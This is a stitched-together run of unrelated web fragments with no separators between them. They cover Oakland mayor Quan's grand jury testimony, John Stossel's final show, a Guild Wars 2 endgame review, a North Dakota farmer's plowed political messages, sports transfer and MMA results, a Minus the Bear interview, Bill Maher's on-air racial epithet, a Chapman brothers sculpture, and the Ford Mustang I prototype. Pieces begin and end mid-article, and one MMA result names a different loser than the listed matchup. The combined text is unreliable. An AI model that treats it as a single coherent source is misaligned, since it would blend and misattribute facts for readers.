Testimony provided to the grand jury, particularly the testimony of a public official, is no private matter, said Rob Warren, an Alameda County deputy district attorney who also serves as a legal adviser to the grand jury.
Quan apparently believed there was some restriction, so she invoked a rule that doesn't exist.
If Quan was as open about her shortcomings as she is hell-bent on influencing public opinion, it would go a long way toward providing a more complete snapshot of her performance as mayor, which hasn't been all bad.
Quan successfully negotiated the first pension reform in the Oakland police union's history, has managed to balance the city's budget in an era of declining revenue and had the foresight to hire a cadre of talented administrators, including City Administrator Deanna Santana and Santana's assistant Fred Blackwell Jr.
Human imperfection, including forgetfulness, is not a moral sin or character flaw. The ability to accurately recall facts is a talent that some people have, some don't, and many if not most people will struggle with as they grow older.
“I’m an American. I’m for prosperity. I’ve discovered, from 40 years of reporting, that what creates prosperity is limited government.” – John Stossel
Tonight at 10PM EST on Fox Business Network, the libertarian stalwart John Stossel will air his last episode of the show that bears his namesake, “Stossel.”
Stossel and his show have been one of the few faces of liberty on a mainstream news network since 2009, and tonight he steps down from his weekly program to move on to other adventures. His decision has undoubtedly broken the hearts of millions of liberty lovers nationwide, so in remembrance of a great beacon for freedom, here is a top 10 list of the greatest moments from John, and his show.
1. Socialist Disasters
Guild Wars 2 recently announced its expansion, and although the game has earned its fair share of my criticism in the past, suddenly, its relatively progression-free endgame held some appeal, as I would no longer run the risk of falling behind from patch-to-patch if gaps emerged in my play-schedule; would ArenaNet’s updates to the game, coupled with my evolved needs as a consumer, be enough for the game to now hold my interest? It was time to find out.
No Barriers to Re-entry
One of GW2‘s greatest marketing strengths is its one-two combination of having no subscription fee and no progression. When I first considered returning to the game, the lack of any barrier to my reentry, be it financial or through in-game character and item obsolescence, made the return to Tyria a far more palatable option than that of any other MMO I’ve revisited in the past. All I had to do was hit the update button on the client and the next thing I knew, I was back in the thick of it. Worthy of note is that this will stay true even through the game’s upcoming Heart of Thorns expansion, which will not be accompanied by any level cap or gear tier increases.
Note: any references in this post to Guild Wars 2 not having progression specifically refers to a transitional gear treadmill, wherein continually heightening statistical benefits are a primary objective within the game. GW2 has many forms of progression; the key difference is that once you’ve reached the ceiling, it isn’t raised above you shortly after – or ever.
Self-Determined Objectives
At this point, I know many experienced MMO veterans will be thinking – no gear progression? Then what do you do? The answer, truly, is whatever you want.
True as it may be, that’s also a pretty terrible answer, so let’s go a bit deeper. Guild Wars 2‘s endgame feels almost sandbox in nature – not because of the content (which is pure themepark), but because of the importance of self-made goals and objectives. Much the same as in games like EVE, you’re given a variety of things to do and work towards, aren’t really pointed directly at any of them, and are left to set your own path on your journey through Tyria. This style of endgame isn’t intuitive in a game as unambiguously themepark as GW2, and it certainly took me more than a few attempts at playing the game for it to really click, but for those that get it, it really works out to be a pretty great system – though this still doesn’t really answer the section’s titular question.
One of the key points in Guild Wars 2‘s pre-launch manifesto was ArenaNet’s “no grind” philosophy for the game, a tenet that was quickly clarified to mean no forced grinds, because oh boy does this game have grinds – they just aren’t materially tied to your performance. Hunting down skins, working on achievements (which reward skins at certain achievement score intervals), crafting legendaries – all of these goals are going to take a lot of time – the primary difference in GW2 is that completing them won’t have a real effect on whether or not you’re able to complete content.
Controversially, ascended gear (a tier above exotic, the standard endgame gear quality), was added to the game shortly after launch, and is gated behind a significant amount of time and effort. While this gear really isn’t necessary outside of high level Fractals of the Mists (a special endgame dungeon with its own progression system), and only provides an incredibly slight advantage over exotic gear, it is a good goal for those interested in getting the absolute best gear, and will require a significant amount of effort to achieve.
Regardless of what your goal is, a huge portion of achieving it is going to come down to simply farming gold – and this isn’t a bad thing; when the standard currency obtained from every activity in the game holds value, it means that you’re always progressing, no matter what you’re doing. This encourages doing more with your time than farming the same dungeon or raid a thousand times, as you would in many other MMOs. In practice, this is somewhat analogous to a lack of PvP/PvE gear separation being applied to the game’s reward system; not only are you not statistically penalized for stepping outside of your chosen gameplay type, but you’ll likely continue to progress towards your goal even from outside of it.
There are, of course, rewards specific to each activity; most of the game’s different areas offer their own progression systems and unique rewards (skins, titles, achievements, etc…), with legendary crafting requiring a little from everything.
Content Overview
When the game first launched, many were dissatisfied with the content that was available – and frankly, a lot of it wasn’t good; champion-trains in particular (running around in a massive blob and zerging down event NPCs) remain a serious contender for the worst activity ever to be considered endgame in an MMO. ArenaNet has added a lot to the game over the last few years, and while a lot of it still isn’t good, one of the amazing benefits of the progression-free endgame is that the good stuff will always be available, and will never be invalidated. Here’s a quick overview of some of the more prevalent things to do at level cap.
World Completion & Exploration
One of the first things most players work towards at endgame is reaching 100% world completion, which involves completing nearly all of the base game’s open world content. This is one for the explorer types, as you’ll be seeking out all of the heart quests, vistas, points of interest, waypoints, and skill point challenges, eventually to be rewarded with a title, a golden star on your nameplate, and a unique item required to craft a legendary.
Although in many games this would be an unbearable chore, Guild Wars 2 really is an explorer’s dream. The game’s massive world is easily one of the most beautiful I’ve ever encountered, and is full of hidden areas, secret non-instanced mini-dungeons (which come with a chest and achievement for completing), and just plain beautiful scenery. While these aren’t required for world completion, if you keep your eyes open, you’ll find many along the way. If you consider yourself an explorer in MMOs, you’re doing yourself a great disservice by not playing this game.
Jumping Puzzles
Jumping puzzles, essentially platforming levels, are another form of open-world content you can do in Guild Wars 2. Mercifully excluded from world completion requirements, these challenging areas instead reward players with a chest (each is lootable once per day) and an achievement for reaching the end. Although these can be frustrating, many include unique designs and settings, some of which are among the most beautiful areas in the game.
Dungeons
Guild Wars 2 launched with 8 dungeons, each of which comes with one story mode, and 3-4 different explorable paths that can be completed daily. With a competent group, dungeon runs are the most profitable activity in the game, but that margin decreases rapidly if the competence isn’t there.
Unfortunately, GW2‘s dungeon designs leave a lot to be desired. The boss AI and encounter design is truly inexcusably bad, with many fights being trivialized simply by LoS pulling the boss into a corner and stacking. While encounter design in more recent content has truly been worlds beyond that offered in the original dungeons, ArenaNet has shown no intention of revisiting dungeons to bring them up to par with the rest of the game.
For those seeking a real challenge, speed-running has become a popular way of clearing dungeons, with groups trying to complete dungeons as fast as they can. This has lead to the Berserker-meta, where players using only Berserker gear (Power, Crit Chance, Crit Damage) burn bosses so quickly that they can kill them before their active defenses (dodge rolls, block skills, aegis buffs, reflect skills) run out. These runs require a lot of coordination, exact knowledge of mechanics, and lot of individual skill on top of it, and is both a fun and profitable way for those looking for a challenge to play the game.
Fractals of the Mists
Added shortly after launch, Fractals of the Mists are Guild Wars 2‘s answer to traditional PvE progression. Functionally, fractals are a 4 part dungeon, where the game randomly chooses from a pool of different possible maps and bosses each time you go through. Fractals also come with a scaling difficulty of 1-50, with each tier adding new mechanics, and an increased reliance on the unique-to-fractals Agony Resistance stat, obtained through infusions which can only be slotted into ascended gear.
The encounter design in fractals is quite a bit better than what is offered in the vanilla dungeons, and as a result, they’re quite a bit more fun.
World Bosses
Guild Wars 2 features an always running schedule of open world boss content, that while not always challenging, can be fun and rewarding. Though most of these are simple and zergy, some of the bosses launched with decent mechanics, while two have been revamped so far to be significantly more challenging, and to feature their own achievement challenges. During achievement attempts, these fights are significantly more enjoyable and engaging, and I’d be interested to see if ArenaNet could find a way to reward players for completing some of these achievements every fight.
World bosses are one of the many areas that look to be significantly improving with the coming expansion, as the one we’ve seen so far shows signs of much improved mechanics and encounter design.
Living Story
Guild Wars 2‘s content introduction model is based on a concept known as the “Living World”, more or less an extension of the personal story that progresses as time goes on. Though there are gaps, content is added at an ambitious 2 week patch cycle, and while not all of these patches are major (some are simply skins), they all help to keep the game fresh.
The Living Story has introduced major changes to the game’s world, from the destruction of Lion’s Arch, to entire new zones being added to the game. While the first season of the Living Story added only temporary content that is now unavailable, ArenaNet learned from its shortcomings and as a result, the second season is still fully available, though if you did not log-in when each chapter of the story was active, there is a minor gem cost to unlock it.
The new Living Story features a lot more than just a story as well, and comes complete with achievements (with cool rewards), fights with some of the best mechanics in the game, and scales to your group size, enabling you to try for the achievements with up to four friends. The improvements realized between the game’s original encounters and those in the Living Story are massive, which gives me a lot of hope for what we’ll see in the upcoming Heart of Thorns expansion.
The Silverwastes
The Silverwastes, one of two zones added during the second season of the Living Story, is one of the most popular farm spots in the game (virtually putting champion-trains in the grave), and arguably the best example of open world group content we’ve seen to date. In it, players wage war against NPCs under Mordremoth’s control to capture forts, escort supply to upgrade the forts, and defend them against waves of enemies, culminating in a unique boss fight at each fort before pushing for the final assault on the enemy boss. Cleverly, every stage of the zone’s event progression is split up into different areas of the map, keeping players separated and removing the ability for bosses to be zerged down. While limited by how challenging disorganized-group content can be made, these encounters do feature solid mechanics, and it’s not uncommon for groups to fail parts of the events when they don’t adequately respond to them.
In addition to the main event chain, players can engage in chest-farms, where groups run around with shovels obtained during the events, looking for fortune and buried treasure.
The Silverwastes’ design is a great improvement to the way events have been farmed in the past, and it seems we can expect to see many similar elements present in the new zones added with the Heart of Thorns expansion.
Guild Missions
Given the game’s name, the lack of importance placed on guilds at Guild Wars 2‘s launch came with just a bit of irony. Sure, you could group up and complete events together, but beyond World vs World groups, there wasn’t much to be gained from doing so. Evidently, ArenaNet recognized this problem and stepped up with guild missions.
Guild missions are events designed to be completed by large groups of guilded players, and reward players with guild commendations, a unique currency that players can use to attain ascended trinkets and other rewards. Guild missions come in a variety of different forms, ranging from hunting down a champion that patrols a large area in a zone and killing it, to completing an obstacle course, to jumping puzzles designed to require multiple people working together to complete them, to challenging boss encounters with special requirements to complete.
Note: guild mission completion also provide benefits to guild administration, but an explanation of this is a bit beyond the scope of this article. You can read more here.
World vs World
Guild Wars 2‘s answer to RvR, World vs World pits servers of players against each other in ranked tiers to fight over camps and castles for glory. In my limited experience on a tier 1 server (for the Toast!), WvW is an acceptable option to soothe an RvR itch, but if that’s your main activity, there are just far better options available. While the most notable problems from back in the day have been fixed (culling and exploits being the obvious example), GW2‘s maps are a bit too small, the combat is a bit too zergy (granted, this is a larger problem on tier 1 servers than anywhere else), the rewards are too low, and the game mode is a little too low on the developers’ priority-list for it to be seriously seen as the main draw. It’s not really bad – but crucially, it’s not really that good, either.
Structured PvP
Where WvW is Guild Wars 2‘s RvR offering, Structured PvP is its answer to small group arena and battleground PvP. In quick, objective-driven 5 vs 5 battles, players vie for supremacy to increase their rank and earn unique rewards. ArenaNet is even working to promote an esport community here, and while I still don’t really believe eSports have any place in MMOs, in some ways, GW2 comes about as close to getting it right as we’re going to get.
This is a result of GW2 completely divorcing its sPvP from any of the progression in the rest of the game. Gear stats are selected from within a menu, and can be changed on the fly at no cost in between games. All skills and traits are unlocked for everyone. All players are level 80 while in the PvP maps and lobby. While class balance issues do exist (as they will in any game) and variety in map design could certainly be improved, the level playing field does a lot to make GW2‘s sPvP a place where skill, and only skill, decides matches – a welcome departure from genre norms.
Commentary on Notable / Controversial Design Decisions
At its launch, Guild Wars 2 set out to change quite a few of the paradigms ubiquitous to the MMO status quo, and made a few notable departures to what was, at the time, standard MMO fare.
No Trinity
By far its most controversial feature, Guild Wars 2 has eschewed the traditional role itemization-specialization trinity in favor of their own soft trinity – that of Damage, Support, and Control. There are numerous reasons this hasn’t worked out terribly well, ranging from support and control not being supported by itemization, to the very design of PvE and mob AI, which encourages stacking and burning incredibly quickly, not really requiring support or control to begin with beyond the presence of certain defensive utility skills on a glass cannon’s bar.
In the past, I’ve written in favor of MMOs abandoning the trinity, criticizing Guild Wars 2‘s lack of a replacement for it and commending the work of AI Designer Dave Mark as being the type of solution that could one day move us beyond it as the go-to PvE design solution – and I’ll be damned if ArenaNet didn’t go and hire that exact person shortly after. Does this signal a change in future content to better fit a trinity-free PvE design? If the greatly improved mechanics in recent content additions are any indicator, that might just be the case.
Although this is beyond the scope of this article, I do reject out of hand the notion that the trinity is required for strategic gameplay; very few of the strategies to beat the mechanics of challenging PvE encounters in other games directly rely on the trinity, and the trinity flat-out doesn’t work in PvP – a game mode often requiring levels of strategy that exceed those found in PvE encounters.
Downscaling
Whenever you visit a zone you’ve out leveled in Guild Wars 2, you’ll find that your effective level is lowered to match the intended level of the zone – including dungeons -, and that you are continually rewarded at your actual level regardless of where you are. This is a reflection of GW2‘s original design as a level-less game, and is an essential part of your ability to fully utilize the game world in your day-to-day play. It breaks down the barriers between new and veteran players and helps to make sure that all of the zones are teeming with players.
Some have considered this a bad change, as they feel that the downscaling reduces the feeling of progress – to some extent, I agree. It’s weird seeing your damage numbers fluctuate from zone to zone, especially when you consider that the level 35 dungeon is still endgame content that you might run every day. While Guild Wars 2 may have been better off as a level-less game in this regard, ArenaNet chose to follow feedback that the game felt too aimless and progression-free in that format, and that’s likely for the best given that in a lot of ways, it still feels aimless and is progression free. From my experience, the downscaling does far more good than harm, and is one of my favorite features the game has to offer.
Open Mob-Tagging
The Guild Wars 2 community heralds open mob-tagging as the savior of MMO communities – a messianic feature that will usher us all in to golden utopia of peace, love, and dragon slaying. Others, including myself, have toyed with the idea that open mob-tagging and open-grouping remove incentive for actual social interaction by essentially making it too easy to collaborate, and allowing players to work together in anonymous silence.
The truth is that Guild Wars 2, a game largely based around open world cooperative completion of events, would never work with a closed-mob tagging system, and, anonymous silence aside, that this was the clear choice for the game.
Sort-of Action Combat
Guild Wars 2 combat isn’t quite the archaic system we know from World of Warcraft and other tab-targetted games, but it’s not really in the same realm as games like The Elder Scrolls Online, Tera, and Wildstar, either. The game features tab targeting, but with a heavy emphasis on melee cleave for many classes and builds, a heavy emphasis on dodge rolling, and a limited-action set skill bar.
Guild Wars 2 is the mid-point between the old and the new, and it’s a perfectly acceptable way to play a game that can appeal to players on both side of the old-school vs new-school combat systems debate.
Black Lion Claim Tickets
One of the more unfortunate aspects of “the fashion meta” is that many of the coolest weapon skins added to the game end up being claimable only with Black Lion Claim Tickets, an item obtained by piecing together Black Lion Ticket Scraps, a medium rarity drop from opening Black Lion Chests. These chests are opened with keys that can either be purchased from the cash shop, or farmed by leveling new characters, completing the first steps of the personal story, and deleting them to do it all over again. The weapon skins can be sold on the trading post to other players, and are quite valuable.
While hardly a situation that sets off alarm bells, it’s just annoying that so many cool skins (in what’s largely a skin-based game) are obtained through an RNG cash shop item, and that very few are regularly added to be obtained through in-game content.
Pay-to-Win Not Even Possible
Luckily, that’s about as close as Guild Wars 2 comes being pay-to-win, which is to say it doesn’t come close at all. With GW2‘s level playing field and lack of progression, there aren’t really any underlying game systems for advantage to be sold on to begin with. This is a huge bonus in a non-subscription game, where the threat of pay-to-win content additions are always very real.
Hype of Thorns
After all the allusions to upcoming improvements in Heart of Thorns made so far, it should come as no surprise there’s a lot to be excited about in the upcoming expansion. Here’s a quick run-down of the feature list so far.
The Mastery System
The lack of progression in Guild Wars 2‘s vanilla form wasn’t for everyone, but statistical improvements via gear wasn’t the answer; enter the mastery system. Inspired by old-school platformer games, the mastery system is an ability unlock system in which players will be able to perform feats and dedicate earned experience towards unlocking new abilities, expanding their options in combat against new enemies, unlocking a valuable legendary precursor, and even opening up new modes of travel to previously inaccessible areas – gliders (which I love), jumping pad mushrooms, and potentially more as the game expands.
Maguuma
No expansion is complete without new zones, and given what ArenaNet has produced in the last season of the living story, I couldn’t be more excited for the new ones. The new zones in Maguuma’s jungle will focus heavily on verticality, with multiple content levels of each zone, from the canopy to the ground below. In a zone event reminiscent of The Silverwastes, players will work to fortify camps and forts in the jungle by day to prepare for the zone’s deadly night cycle, when Mordremoth’s most dangerous minions come out to play.
Specializations
Specializations are essentially subclasses that players will be able to spec into to further differentiate their character. Most excitingly, this will open up a new weapon and new abilities, said to be focusing on providing a bolster to areas of the game the bases were weak in previous to the system’s introduction. Notably, this includes the confirmed addition of Greatsword for Necromancers (who are badly in need of a power-based melee cleave weapon) and the basically confirmed addition of Longbow for Guardians, who previously did not have many good ranged options.
The Revenant
A new heavy armor class with the mechanic of slotting heroes from the game’s past to channel as stances, changing their animations and utility skills along with it. The Revenant is also the second class to be powered by a resource mechanic, and can be expected to have short cooldowns primarily gated by resource consumption. This may be worth a look for players who found themselves missing resource management in what was previously almost completely cooldown driven gameplay (with the exception of the thief).
Guild Halls
We don’t know much about this yet, but at worst, it’ll be a nice fluff feature strengthening guild bonds and giving yet another benefit to being part of a guild community.
New SPvP Map: Stronghold
A new PvP map is being added to the Guild Wars 2 sPvP rotation, and it’s a major departure from anything else currently available in the game. One part MOBA and one part Alterac Valley, Stronghold seemed like a strange concept when I first heard of it, but according to those who have played it – it works.
New WvW Borderlands
As revealed in a recent video preview, the new borderland is bringing some much needed change to the game’s World vs World scene.
With an increased emphasis on verticality, actual strategic value being given to towers by having them guard travel chokepoints, elemental shrines providing buffs to the owner’s faction when near their respective keep, and an exciting periodic zone event, it certainly looks as if ArenaNet has learned from the Borderlands’ initial iteration and is planning on refining those ideas. Hopefully, this is just the beginning of future WvW updates.
The Verdict
I still don’t know if Guild Wars 2 has what it takes to hook me as a long-term game, but it’s getting a lot closer than it ever has before.
The game has matured well over the past (almost) 3 years, and if recent content additions are any indication, its future is bright. Guild Wars 2 is the perfect MMO for a dabbler – the person that wants a little bit of everything, and doesn’t want to fall behind because they haven’t focused on a singular game mode. As each of GW2‘s major game modes continue to grow, unhindered by obsolescence inducing level-cap raises, that’s only going to get better.
The 77-year-old Midwesterner plowed that phrase into his bean crops - a massive message spanning the length of two football fields - in response to the controversial protest undertaken by some NFL players who've begun kneeling during the playing of "The Star-Spangled Banner."
“I go with [President] Trump on this one,” Hanson told Fox News on Tuesday. “If you want to protest, that’s not the place to do it.”
He added: “A lot of people died over our flag. We’re able to voice our opinion because of it. If you’re going to show respect for anything, do it for the national anthem.”
Hanson has a track record of designing and digging massive messages – many political – using his old Massey tractor on his 850-acre farm.
And Hanson doesn’t use GPS or any technology for the work, which he says “works out pretty good in a harvested bean field.”
Then he flies his two-seater plane, and if his design passes the test, he snaps a pic with a Cannon camera and posts it on Facebook. He said he's only been unsuccessful twice.
Hanson told Fox News he got his “We Stand for the National Anthem” message right on the second try. During the first attempt, he was interrupted by a passerby with only two letters to go. He soon relocated to another section of the field.
Hanson said he initially wanted to add an addendum -- “We kneel at the cross” -- but the plan was foiled by the first frost of the season.
Hanson said, weather permitting, he plans to add that phrase soon.
Hanson and his wife, Darlene, are Lutherans and attend church regularly. He also describes himself as a Republican and Trump supporter, and he had the chance to get a picture of the president when Trump came to North Dakota for a tax reform speech in September.
“I was 20 feet away from him,” Hanson said. “It was a good meeting and the president stayed on script.”
Hanson said he believes Trump is trying to do well, but faces a “continuous battle” in Washington, D.C. And Hanson said he's doing all he can to send his support from his Edgeley farm.
Some of his previous messages include “Drain the Swamp,” “Blue Lives Matter,” “Feel the Bern,” “GOP, get your act together,” and “Vote Trump.”
He said his Prince symbol, plowed after the singer passed away, was one of his most popular for fans all over the world, but he caught a lot of flak for his “Never Hillary” message.
Madalyn Parker is a web developer from Ann Arbor, Michigan. A couple of weeks back she shared an exchange she'd had with her CEO after she emailed her team to tell them she was taking time off for mental health reasons.
SEE ALSO: This adorable chatbot wants to talk about your mental health
Parker's tweet has since gone viral in a big way:
The response on Twitter was overwhelmingly positive.
Last week, Parker's CEO Ben Congleton wrote a post on Medium discussing the reaction the tweet had received. It was titled, "It's 2017 and Mental Health is still an issue in the workplace."
"It's 2017," he wrote. "I cannot believe that it is still controversial to speak about mental health in the workplace when 1 in 6 americans are medicated for mental health.
"It's 2017. I cannot believe that it is still controversial to offer paid sick leave. Did you know that only 37% of full time employees in the US have paid sick leave?
"It's 2017. We are in a knowledge economy. Our jobs require us to execute at peak mental performance. When an athlete is injured they sit on the bench and recover. Let's get rid of the idea that somehow the brain is different."
The 24-year-old Uruguayan joined Bordeaux from Defensor Sporting in 2013 having made a name for himself in the 2013 South American Youth Championships.
He made 31 appearances for the French side in Ligue 1 last season, scoring ten goals as they finished sixth and qualified for the Europa League third qualifying round, while also scoring four goals for his country.
Rolan fits the mould of what Fulham are looking for in their strikers this season, with the club also making a bid for Steve Mounie and Rui Fonte as they look to add to their striking options.
In announcements at the event, scheduled for Shooto’s March 16th card will be Yuta Nezu getting a deserved shot at the Shooto Pacific Rim Championship by taking on Kota Onojima. Taiki Tsuchiya will face warhorse and once world-ranked top 25 Yuji Hoshino. Two hot prospects for 2014 Shinji Sasaki and Nobumitsu ‘Tyson’ Osawa will meet each other. And a next challenger for the Flyweight title will be decided between Nobita Naito and Yuki Shoujou.
For VTJ 4th on February 23rd, Naoyuki Kotani comes back to take on Yoshihiro “Macho Butterfly” Koyama. Wataru Miki will face Akiyo “Wicky Akiyo” Nishiura. Hiromasa Ogikubo, Mamoru, and Yoshiro Maeda will also participate. This will be an 8-man tournament at flyweight which will include four foreign fighters.
Check out Shooto’s UStream channel for updates, interviews, possible highlights after the event.
SHOOTO 1st Round 2014
January 13, 2014
Korakuen Hall
Tokyo, Japan
#9 – World flyweight Championship – 5 round
Shinya Murofushi 室伏シンヤ (9-3-1)
Junji Sarumaru 猿丸ジュンジ (10-4)
Shinya Murofushi defeats Junji Ito by Submission, RNC, rd 1, 3:33
#8 – Featherweight semi-final – 3 round
Yuta “Uruka” Sasaki 佐々木憂流迦 (14-1-2)
Keisuke Fujiwara 藤原敬典 (15-1-4)
Yuta “Uruka” Sasaki defeats Keisuke Fujiwara by Submission, RNC, rd 1, 4:35
#7 – Infiniti Flyweight Tournament Quarter-Final
Tateo Iino 飯野タテオ (3-1)
Ryuto Sawada 澤田龍人 (2-0)
Ryuto Sawada defeats Tateo Iino by Submission, front choke, rd 1, 2:07
#6 – Lightweight 3 round
Shigeki Osawa 大澤茂樹 (9-5-2)
Kazuhiro Ito ジャングル伊藤 (5-11-2)
Shigeki Osawa defeats Kazuhiro Ito by UD
#5 – Bantamweight 2 round
Rambo Kosuke Suzuki ランボー宏輔 (9-3-2)
Taku Kajikawa 梶川 卓 (2-3-1)
Kosuke Suzuki defeats Taku Kajikawa by UD
#4 – Welterweight round 2
Yu Fujimaki 藤巻 優 (2-5-3)
Foreman Kazuya Tanaka フォアマン (3-4-1)
Cancelled due to Foremen being unable to recover from weight cut.
#3 – Bantamweight 2 round
Kotaro Hagiwara 萩原幸太郎 (3-2-2)
Shohei Nomitani 呑谷尚平 (3-0-2)
DRAW
#2 – Featherweight 2 round
Kanamonoya no Hide Hideto Okada 金物屋の秀 (2-5-3)
Takashi Maeda 前田貴史 (3-2-1)
Takashi Maeda defeats Hideto Okada by UD
#1 – Welterweight round 2
Yoshinori Takahashi 高橋圭典 (5-11-1)
Dai Sudo 須藤 大 (0-0)
Kenny came out swinging at the Eels' 70th anniversary jersey reveal on Tuesday, saying the developments that led to Kieran Foran appearing for the Warriors were wrong for the game.
Foran isn't the only player to have been granted a release from his club and moved elsewhere, with forward Chris Grevsmuhl turning out for Gold Coast months after leaving Penrith.
SUPPLIED Brett Kenny is unhappy with the current state of NRL.
"I'll be honest, I just think the way things go at the moment with the league, I believe players are pulling all these sorts of stunts, saying I can't do this and I can't do that," Kenny said.
READ MORE:
* Storm favourites for Foran
* Whare shocked by new deal
* How the Eels missed Foran
"And all of a sudden they're allowed to leave the club and six months later or even less, you're allowed to sign with another club. To me, that's not right.
ANDREW CORNAGA/PHOTOSPORT Kieran Foran was in great form in his match against the Parramatta Eels.
"I think they've really got to do something about it. I think it was good to see him back playing well, but the way it all happened was wrong."
The four-time premiership winner said more needed to be done about making players honour their contracts with their club before opting to move on.
He suggested players be given more leeway by their clubs to address personal issues with the end goal of returning to the team and finishing their deal.
"I would've been told to go away, look after things, try and sort things out, be back at training in a fortnight or a month's time, and be ready to play. That was the way it was back then," he said.
"But now you've got to give him time off, send him away here or away there. I fully understand you have mental issues, but I think a lot of times it's being treated too softly.
"These guys have got to be told, 'You're getting paid damn good money to do this, the club have signed you in the belief you'll be there for the remainder of your contract'."
“We have been kind of working on starting the record for a long time. Kind of on the typical Minus the Bear schedule, every couple years, two or three years,” lead vocalist Jake Snider tells Billboard. “But then we lost our drummer due to some medical issues, basically, he could no longer perform with us and that really set us back.”
However, this setback didn’t keep them down, and enlisting a new drummer, Kiefer Matthias, added a new energy to the group without drastically changing their sound.
Returning to Suicide Squeeze Records for their latest record, VOIDS easily relays that their signature math rock and grunge vibes have not been lost.
The track “Robotic Heart” features a beguiling melody and bucking rhythm, while heavier songs like “Tame Beasts” boasts raucous guitar licks and an explosive momentum that drives it from start to finish.
But the album isn’t only comprised of heavy hitters. Discussing the song “Invisible,” Snider says, “It’s really elemental, it’s just very simple chord structures like two chords structured for the verse and then kind of a more playful four chord thing for the chorus. It just doesn’t have a lot of flash I think like some of the more, flashy guitar stuff. This one’s really kind of meditative and droney for the verses.”
Working on the album after 16 years as a band wasn’t always the easiest though, as even veteran rockers internally struggle for balance: to continue to evolve while simultaneously staying true to the band as a cohesive whole.
“It’s like, how much as a collective of people do we have to say? It’s always a problem when you see the emptiness of having no music written, and then you start working again and figure out we can still make another song. So let’s make another song. And it kinda starts over,” explains Snider. “And every moment I’m always questioning that stuff, like am I repeating myself? Am I just simply regurgitating? Is this the same song I’ve already written but painted a different shade? It’s like the irony of being an artist means being completely self-conscious of what you do.”
Thankfully, Minus the Bear appear to have found that balance, creating a record that converges older tendencies -- like on “Give & Take” -- songs like “What About The Boat?” evoke a lighter, resonant yearning not often expressed by the band. And Minus the Bear are so eager to share it with you, they’re premiering the new track below.
While the conception and construction of VOIDS was a good experience, the guys are most looking forward to sharing it with the fans. “I think the main thing what we want to do is get out on the road and performing the songs it’s going to be the most fun aspect of this whole process, Snider tells Billboard. “We have people that we’ve come to know over the years and consider friends just from seeing them at shows when we come to town. It’s always incredibly heartwarming to hear someone say, ‘I’ve seen you guys 25 times.’ That’s really amazing. I never thought that I’d be 40 doing this stuff still, so it’s amazing to have a longevity like this.”
Bill Maher, host of "Real Time with Bill Maher," is pictured during a broadcast of his show in Los Angeles. (Photo11: Janet Van Ham, AP Images)
Late-night comedian Bill Maher sparked immediate condemnation from all sides of the political spectrum Friday after he used a racial epithet during an interview with Sen. Ben Sasse, R-Neb., on HBO's Real Time with Bill Maher.
During a segment in the show, Sasse — who was promoting his new book, The VanishingAmericanAdult — invited Maher to visit Nebraska after the two talked about how adults in California still dress up for Halloween. "We’d love to have you work in the fields with us,” the senator told the comic.
"Work in the fields?" Maher replied. "Senator, I am a house (expletive)."
The remark received a mixture of groans and laughter from audience members. Sasse, who chuckled at the comment, did not address it. Maher quickly asserted, "It's a joke."
Reaction on Twitter, as expected, was swift and fierce:
Kathy Griffin at home right now, thankfully watching Bill Maher like pic.twitter.com/kvTS1mXRDg — Behdad Sami (@iambdsami) June 3, 2017
Bill Maher gotta go. — Nina Parker (@MzGossipGirl) June 3, 2017
For me, the jig has been up on Bill Maher for a long time. So, nah. — Jemele Hill (@jemelehill) June 3, 2017
"No one can ruin their career faster than Kathy Griffin"
Bill Maher - Hold my beer — Jack Posobiec 🇺🇸 (@JackPosobiec) June 3, 2017
Maher, in his 15th season hosting Real Time, is no stranger to controversy. He defended his invitation to bring Milo Yiannopoulos, a conservative provocateur, to his show despite protests. Maher lost his ABC show, Politically Incorrect, after a much-criticized comment in the wake of the 2001 terrorist attacks.
Contributing: Bill Keveney
Both the title of Fuck Face and the appendage that dominates the features are jarringly at odds with the air of childish innocence and inquiry of this stumbling toddler, adding to the shock factor and sense of the uncanny with which it is drenched. The fact that this child's face sports these unlikely attributes is distinctly anti-Darwinian: it is an evolutionary abomination, a degeneration that anticipates the other figures from the Chapman menagerie and that concisely and humorously taps into many their core concerns. In a recent interview with Kirsty Wark, Dinos Chapman explained that the brothers' sculptures take their cue from 'inappropriate sculptural materials' and nowhere is this more clear than in the clash between the world of childhood and that of adulthood that results in this sculpture. That deceptively simple juxtaposition unravels a host of associations and observations. Mannequins are already sexualised by their very nature, invented in order to whet our capitalist appetites by presenting clothes such as this T-shirt and trainers in as beguiling a way as possible: what the Chapman Brothers appear to be doing is revealing some of the uncomfortable truths of the consumerist, gratification-obsessed society that we inhabit, pointing to the almost logical, inevitable next stage of our evolution. With its tumescent proboscis, this inquisitive child encapsulates the chaotic vision of the Chapman brothers with an all too-literally in-your-face intensity.
Kellyanne Conway, a senior adviser to Donald Trump committed a “clear violation” of ethics rules when she hawked Ivanka Trump’s clothing line on Fox & Friends last week, the federal government’s ethics watchdog said in a letter released Tuesday.
“I recommend that the White House investigate Ms. Conway’s actions and consider taking disciplinary action against her,” Office of Government Ethics director Walter Shaub wrote in the letter, which is dated Feb. 13 and was posted online by Democrats on the House oversight committee.
Story Continued Below
Conway offered what she described as a “free commercial” for Ivanka Trump’s clothing line after Nordstrom pulled her items from its racks, drawing a Twitter rebuke from President Donald Trump.
Though White House spokesman Sean Spicer said last week that Conway had been “counseled” over her comments, Shaub wrote that OGE has not yet received notification of any disciplinary or other corrective action against her.
In his letter, Shaub notes that Conway’s appearance on Fox & Friends was held in the White House’s press briefing room, signaling that she was conducting the interview in her “official capacity.” "She used that interview, however, as an opportunity to market Ms. Trump’s products," Shaub wrote.
The letter, sent to Donald Trump’s deputy White House counsel Stefan Passantino, was copied to White House counsel Don McGahn as well as to Reps. Jason Chaffetz (R-Utah) and Elijah Cummings (D-Md.), leaders of the House oversight panel. Chaffetz and Cummings were both quick to chastise Conway on Thursday, writing a letter to OGE that said Conway’s comments about the president’s daughter’s business “clearly violate the ethical principles for federal employees and are unacceptable.”
Cars
Racing
Vintage
The Ford Mustang is one of the most venerable muscle cars in American history, the story of how the car came to be is an interesting one, many people don’t know that the modern Mustang is a direct descendant of the second Mustang prototype. The first prototype, called the Ford Mustang I, was deemed too extreme for mass-production and after the initial two were made the project was mothballed.
Muscle cars are known as front engined V8s with swooping roof-lines and gregarious cornering abilities. If the Ford Mustang I Prototype had seen the green light for production things would have turned out very differently. In October 1962, when the Mustang I debuted at the United States Grand Prix in Watkins Glen, New York, the test driver and Formula One race driver Dan Gurney lapped the circuit using the prototype. His lap times were only slightly off the pace of the Formula 1 race cars.
This small, light, mid-engined, 4-cylinder muscle car was blisteringly quick.
